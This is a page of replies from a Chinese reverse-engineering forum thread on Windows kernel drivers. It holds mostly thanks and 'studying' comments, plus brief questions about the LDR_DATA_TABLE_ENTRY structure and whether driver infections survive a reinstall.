发帖
回帖
粉丝
85
少下盲啊。努力学习。
2008-9-25 10:47
0
雪    币: 215
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
86
努力啊,向牛们学习!
2008-9-26 15:16
0
雪    币: 179
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
87
不错不错。希望有扫盲篇续。
不要沉了
2008-10-12 00:25
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
88
学习扫盲一下
2008-11-3 21:51
0
雪    币: 267
活跃值: (438)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
89
不同的操作系统PVOID  DriverSection;是否肯定都指向一个LDR_DATA_TABLE_ENTRY结构?
不同的操作系统LDR_DATA_TABLE_ENTRY结构的大小又是否一样?
2009-3-1 22:21
0
雪    币: 54
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
90
有个很菜的问题:
驱动感染了,如果重装系统,是否病毒还在?
2009-5-11 17:44
0
雪    币: 211
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
91
楼主本意是扫盲,而我正好也在此之列。
但我看过还是觉得不懂。
楼主可否讲的在直白一点
先行谢过了!
2009-5-11 20:42
0
雪    币: 983
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
92
刚刚接触 正好看看 谢谢楼主了
2009-5-20 21:50
0
雪    币: 983
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
93
发多了 为啥没有删贴呢
2009-5-21 13:37
0
雪    币: 983
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
94
我晕 我放在收藏夹里了 看完帖子又发了一遍感谢楼主的话
(怎么删除自己发的帖子呢 不好意思 版主帮我删一下吧 以后我会注意的)
2009-5-21 16:22
0
雪    币: 86
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
95
认真看看

谢谢楼主发布分享
2009-5-22 08:58
0
雪    币: 229
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
96
3q  模拜大牛
2009-7-16 09:54
0
雪    币: 133
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
97
谢谢~~努力学习中
2009-10-24 03:21
0
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
98
进来学习!!
2010-3-9 13:54
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
99
看不懂~
努力学习~
希望有一天可以看懂~
楼主辛苦~
2010-10-28 04:45
0
雪    币: 313
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
100
占个位置学习一下
2011-2-28 15:50
0
游客
登录 | 注册 方可回帖
返回
//